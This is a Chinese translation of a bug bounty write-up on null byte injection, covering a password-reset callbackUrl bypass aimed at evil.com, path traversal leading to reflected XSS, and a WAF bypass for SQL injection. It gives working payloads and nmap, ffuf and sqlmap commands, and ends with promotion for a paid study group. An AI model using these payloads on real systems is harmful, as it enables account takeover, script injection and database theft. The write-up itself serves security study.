Null 字节在漏洞挖掘中的妙用

文化   2024-11-12 12:03   德国  

扫码领资料

获网安教程


Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

大家好,我是 0xold,一名渗透测试员,8 个月前开始了我的漏洞悬赏之旅。今天,我将分享几个我通过 Null 字节注入发现的漏洞,如果没有它们,这些漏洞将无法利用。我将把所有网站称为 company.com,因为我不能披露公司的名称。

什么是 Null 字节字符?

Null 字节,通常表示为 '\0',是一个特殊字符,值为零。在编程中,它用于表示字符串或数据的结束。Null 字节注入涉及操纵这个字符以利用系统中的漏洞。

密码重置解析混淆

我正在测试这个 CDN 应用程序,并决定测试密码重置功能,发现了一个非常有趣的参数,叫做 callbackUrl。
img
当我尝试重置密码时,我试图在 URL 末尾附加 /test,并检查了我的电子邮件,得到了以下 URL:
https://company.com/auth/reset-password/test?code=blabla
所以我迅速尝试将 callbackUrl 中的域名更改为 evil.com,但不幸的是,得到了 400 Bad Request 状态代码。
img
我感到非常沮丧,但我决定花点时间在这个问题上,因为能够控制密码重置 callbackUrl 的某些部分对我来说是一个红旗。
以下是我尝试的一些载荷
http://evil.com@company.net/auth/reset-password
http://evil.com%20@company.net/auth/reset-password
http://evil.com@company.net/auth/reset-password
http://evil.com?@company.net/auth/reset-password
http://evil.com#@company.net/auth/reset-password
以及更多,它们都返回了 400 状态代码。然后我想到了尝试 null 字节注入,但由于这是一个 JSON 请求,我不能直接插入常规的 URL 编码 %00,所以我做了一些研究,阅读了 JSON RFC,并发现我可以使用 \u 序列插入 Unicode 字符。
img
一个仅包含单个反斜杠字符的字符串可以表示为 \u005C
在这种情况下,URL Null 字节字符 %00 的 Unicode 等效字符是 \u0000。
所以我尝试了这个载荷:
https://evil.com\u0000@company.net
img
img
结果奏效了!

路径遍历到 XSS

在这个应用程序中,我使用参数挖掘工具进行模糊测试,寻找一些隐藏的参数。参数挖掘工具返回了一个引起我注意的参数,叫做 templatename。我迅速用 templatename=0xold 的值发出了请求,并检查了服务器的响应。
img
遇到了 500 内部错误,这表明后端存在服务器端问题。我最初的假设是服务器尝试包含名为 “0xold” 的文件,但尝试失败,导致了 500 错误——这暗示着潜在的本地文件包含(LFI)漏洞。在继续之前,我决定调查一下网站运行的操作系统,然后再尝试注入任何载荷。
我运行了以下命令来识别操作系统:
nmap -A Company.com
img
所以现在我们知道网站运行在 Windows 上,我们可以继续注入 LFI Windows 载荷。
我开始注入一些载荷,例如:
login.asp
logout.asp
../login.asp
..\login.asp
….//login.asp
….//login.asp%00
….\login.asp
../../windows\win.ini
....\windows\win.ini
和数百个其他载荷,我甚至从 seclist 仓库运行了 json-haddix 的 LFI 字典,但没有一个有效,所有结果都返回了 500 状态代码。我决定休息一下,仔细想想。然后我想到,开发人员可能在做某种白名单处理,如果 templatename 参数不在白名单中就返回 500 状态错误。为了验证我的理论,我决定使用工具 Cewl 来生成一个自定义字典。

什么是 Cewl

CeWL(自定义字典生成器)是一个 Ruby 应用程序,可以爬取给定 URL,直到指定深度,并返回一个单词列表,这些单词可以用于密码破解器,例如 John the Ripper。可选地,Cewl 可以跟随外部链接。
我运行了以下命令来生成字典:
cewl ‘https://company.net’ > wordlist
然后
ffuf -c -w wordlist -u ‘https://company.net/login.asp?templatename=FUZZ’ -mc all -fc 500
返回的其中一个值返回了 200 OK 状态代码!这竟然是公司的名称!
img
img
该参数值在 HTTP 响应中被反映出来,所以我决定尝试注入一些 XSS,但任何不等于公司名称的内容仍会返回 500 状态代码。我们该如何利用这个漏洞呢?也许可以使用 ../ 序列?于是我在 templatename 参数中注入了以下值并检查了响应:
company.com/0xoldSaysHi/../
img
太棒了!它成功了!现在让我们尝试注入一些 XSS。
我注入了这个简单的有效载荷,看看我是否可以逃逸HTML:
company/0xoldSaysHi”>/../
img
我成功地注入了双引号字符,但出于某种原因,> 字符没有被反映出来,所以我尝试在 > 字符后面注入一个 null 字节字符,看看会发生什么:
company/0xoldSaysHi”>%00/../
img
成功了!现在让我们快速弹出一个警报:
company/0xoldSaysHi”%00><%00img+src=x+onerror=alert(1337)%00>/../
img

通过 Null Byte 注入绕过内部 WAF

我正在测试这个应用程序的 SQL 注入,在 error_category 参数中输入一个常规的单引号('),网站返回了一个数据库错误,这表明它容易受到 SQL 注入攻击。太好了!我会保存这个请求,然后运行 sqlmap,让它完成所有繁重的工作。
img
将请求保存到名为 r 的文件后,我运行了以下命令:
python3 sqlmap.py -r r --batch --dbs --random-agent
img
不久之后,sqlmap 返回了连接超时,我最初认为应用程序无法处理 sqlmap 发送的请求数量,因此崩溃了。我使用 curl 进行了简单的测试,结果返回连接失败。但是从我的电脑上进行访问则正常,Hmm,可能存在某种内部 WAF?我决定手动进行攻击,因为这是一种基于错误的 SQL 注入,所以没什么大不了的。
我尝试了一个简单的联合查询:
UNION+SELECT+1337 -- -
服务器在处理时挂起,于是我将查询更改为:
UNION/**/SELECT+1337
但仍然挂起。我尝试将值更改为:
test+test+1337 -- -
这时返回了数据库错误。经过一番试探,我最终弄清楚了他们内部 WAF 的工作原理。WAF 会解析 HTTP 请求,如果发现恶意查询,它就会挂起;如果我连续提交 3 个请求并导致其挂起,它将会封锁我的 IP。
img
我尝试在每个 MySQL 关键字之间注入 null 字节,以迷惑他们的 WAF,结果成功了。之后,我获取了数据库名称,并注入了以下有效负载以获取 AdminDB 数据库中的所有表:
f’+/**/UNION+%00seLecT+%00TABLE_NAME,TABLE_schema,NULL,NULL,NULL,NULL+FROM+%00INFORMATION_SCHEMA.tables+WHERE+table_schema=’AdminDB’%23
通过这种方式,我能够绕过 WAF,并成功检索到目标数据库的表名。
img
上内容由白帽子左一翻译并整。原文:https://medium.com/@0xold/null-byte-on-steroids-23f8104a25ec

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,只需25,即可加入。

白帽子左一
零基础也能学渗透!关注我,跟我一启开启渗透测试工程师成长计划.专注分享网络安全知识技能.
 最新文章